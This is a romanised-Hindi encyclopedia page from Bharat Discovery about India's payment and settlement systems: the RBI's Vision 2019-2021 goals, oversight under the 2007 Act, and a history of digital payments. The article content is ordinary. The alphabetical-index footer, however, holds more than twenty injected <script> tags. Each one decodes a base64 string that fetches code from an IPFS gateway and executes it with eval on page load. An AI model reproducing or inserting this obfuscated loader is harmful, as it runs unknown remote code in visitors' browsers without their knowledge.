भुगतान और निपटान प्रणाली, भारत

भारत डिस्कवरी प्रस्तुति
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bharat mean bhugatan aur nipatan pranaliyaan (aangrezi: Payment and settlement systems in India) bharatiy rizarv baiank dvara bhugatan aur nipatan pranali adhiniyam, 2007 ke aantargat sanchalit evan niyantrit ki jati haian. hal hi mean bharatiy rizarv baiank ne bharat mean 'bhugatan aur nipatan pranali: vizan 2019 - 2021' dastavez jari kiya hai.

pramukh biandu

  • 'vishesh (ee) bhugatan anubhav ko sashakt banane' ke keandriy vishay vale is vizan d aaukyoomeant ka uddeshy pratyek bharatiy ki ee-bhugatan vikalpoan ke surakshit, suvidhajanak, tvarit evan saral samooh tak pahuanch sunishchit karana hai.[1]
  • apane 36 vishisht kary bianduoan aur 12 vishisht parinamoan ke sath isaka lakshy pratisparddha, lagat-prabhavashilata, suvidha aur atmavishvas ke madhyam se ek 'atyadhik dijital' aur 'kaish-lait' (arthath ek aisi arthavyavastha jisamean nakad pooanji ka pravah kam-se-kam ho) pranali ko prapt karana hai.
  • vizan dastavez ke anusar, do varshoan mean dijital len-den mean char guna ki vriddhi ki parikalpana ki gee hai.
  • bharatiy rizarv baiank dvara vishisht khudara ilektr aaunik bhugatan pranaliyoan mean vriddhi ki ummid ki gee hai, yah anuman len-den ki sankhya aur upalabdhata mean vriddhi ke sandarbh mean vyakt kiya gaya hai.
  • vizan dastavez ki avadhi ke aantargat yoopiaee aur aeeemapies jaisi bhugatan pranaliyoan dvara ausatan 100pratishat eneeephati mean 40pratishat se adhik ki varshik vriddhi darj karane ki ummid hai.
  • is avadhi ke dauran pvaiant-aauph-sel[2] tarminaloan par debit kard len-den mean vriddhi ke madhyam se vastuoan aur sevaoan ki kharid hetu bhugatan ke dijital tarikoan ke upayog mean 35pratishat ki vriddhi ka lakshy tay kiya gaya hai.
  • nakadi ke chalan mean kami karane hetu koee vishisht lakshy nirdharit nahian kiye ge haian. pvaiant-aauph-sel avasanrachana ki varddhit upalabdhata se nakadi ki maang mean kami ane ki ummid hai, is prakar samay ke sath jidipi ke pratishat ke roop mean nakadi ke parichalan mean kami ke lakshy ko bhi prapt kiya ja sakata hai.
  • isake atirikt dastavez mean grahak jagarookata mean vriddhi karane, 24×7 helpalain ki vyavastha karane, sistam aauparetaroan aur seva pradataoan ke liye sv-niyamak sangathan sthapit karane ki bat bhi kahi gee hai.
  • RBI ke anusar, bhugatan pranali ke paridrishy mean navachar aur any pakshoan ke pravesh se parivartan ki sanbhavana hamesha bani rahegi, jisase grahakoan ke liye adhik-se-adhik labh, shreshth lagat aur kee bhugatan vyavasthaoan tak mupht pahuanch sunishchit kiye jane ki bhi ummid hai.
  • bhugatan aur nipatan pranali adhiniyam, 2007 ke tahat bharatiy rizarv baiank bharat mean bhugatan aur nipatan pranali ko viniyamit karane ke liye adhikrit hai.[1]

bhugatan aur nipatan pranali ki nigarani

  • bhugatan aur nipatan pranali ki nigarani keandriy baiank ka kary hai jisake dvara maujooda aur niyojit pranaliyoan ki nigarani ke madhyam se suraksha aur dakshata ke uddeshyoan ko badhava diya jata hai. sath hi in uddeshyoan ke sanbandh mean inaka akalan kiya jata hai aur jahaan kahian avashyak hota hai vahaan parivartan kiya jata hai.
  • bhugatan aur nipatan pranali ki dekharekh ke madhyam se keandriy baiank pranaligat sthirata banae rakhane aur pranaligat jokhim ko kam karane, bhugatan evan nipatan pranali mean janata ke vishvas ko banae rakhane mean madad karata hai.
  • bhugatan aur nipatan pranali adhiniyam, 2007 aur usake aantargat banaee gee bhugatan aur nipatan pranali viniyamavali, 2008 bharatiy rizarv baiank ko avashyak saanvidhik samarthan pradan karati hai taki yah desh mean bhugatan aur nipatan pranali ke nirikshan ka kary kar sake.

bharat mean dijital bhugatan ka vikas

  • bharat ki dijital bhugatan pranali pichhale kee varshoan se mazabooti ke sa​th vikasit ho rahi hai, jo soochana evan sanchar praudyogiki ke vikas se prerit hai tatha bharatiy rizarv baiank dvara prastavit karyapranali ke anuroop hai.[1]
  • neshanal pemeants k aaurporeshan aauph iandiya[3] ki sthapana varsh 2008 mean ki gee thi, jo khudara bhugatan pranali ke vikas ko gati pradan kar raha hai. bhugatan pranali ke vikas ki prakriya mean prapt mahattvapoorn mil ke pattharoan mean shamil haian.
  • 1980 ke dashak ke aranbh mean emaeesiar samashodhan ki shuruat huee. yah aaunalain imej-adharit chek samashodhan pranali hai jahaan chek-imej evan maignetik iank kairektar rikagnishan deta ko ekatr kar baiank shakha mean abhilikhit kiya jata hai tatha ilektr aaunik roop se prasarit kiya jata hai.
  • 1990 mean ilektr aaunik samashodhan seva tatha ilektr aaunik nidhi hastaantaran.
  • 1990 ke dashak mean baiankoan dvara kredit evan debit kard jari karana.
  • 2003 mean neshanal phaineanshiyal svich ki shuruat jisane poore desh mean etiem ko apas mean jo dane ki shuruat ki.
  • varsh 2004 mean aratijies evan nepht seva ki shuruat.
  • 2008 mean chek trankeshan sistam ki shuruat. chek trankeshan sistam ya imej-adharit kliyariang sistam chekoan ke tezi se samashodhan ke liye pranali hai. chek trankeshan ka arth hai adakartta shakha ko adeshak baiank shakha dvara jari kiye ge chekoan ke bhautik pravah ko rokana.
  • 2009 mean 'bina kard pesh kiye' lenaden. isaka upayog amataur par iantaranet par kiye ge bhugatanoan ke liye kiya jata hai, lekin ee-mel ya phaiks dvara ya teliphon par mel-aaurdar lenaden mean bhi kiya ja sakata hai.
  • 2013 mean nee suvidhaoan ke sath ne aratijies ki shuruat ki gee jisamean baiankoan ko aeeeso 20022 manak sandesh praroop apanane ki avashyakata thi. *bhugatan pranali ke liye aeeeso 20022 manak sandesh praroop shuroo karane ka uddeshy desh mean vibhinn bhugatan pranaliyoan ke manakikaran tatha unaka aantarrashtriy manak ke anuroop kiya jana hai.[1]
  • gair-baiank sansthaoan dvara pri-ped ianstroomeant jari karane ki shuruat ki gee, jisamean mobail aur dijital v aaulet shamil haian. bhim[4] yooniphaid pemeants iantaraphes par adharit bharatiy rashtriy bhugatan nigam dvara vikasit ek mobail bhugatan ep hai.
  • ye pragatiyaan desh mean dijital bhugatan paristhitiki tantr ke vikas ka moolyaankan karati haian. isake parinamasvaroop varsh 2016 mean ratan pi. vatal, pramukh salahakar, enaeetiaee ayog ki adhyakshata mean dijital bhugatan par samiti ki sthapana ki gee.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 1.3 bharat mean bhugatan aur nipatan pranali: vizan 2019-2021 dastavez (hiandi) (drishtiias.com). . abhigaman tithi: 08 navanbar, 2020.
  2. ↑ PoS
  3. ↑ NPCI
  4. ↑ Bharat Interface for Money

sanbandhit lekh

dekhean • varta • badalean
bharatiy arthavyavastha
baiank
takasal
mudranalay
any

varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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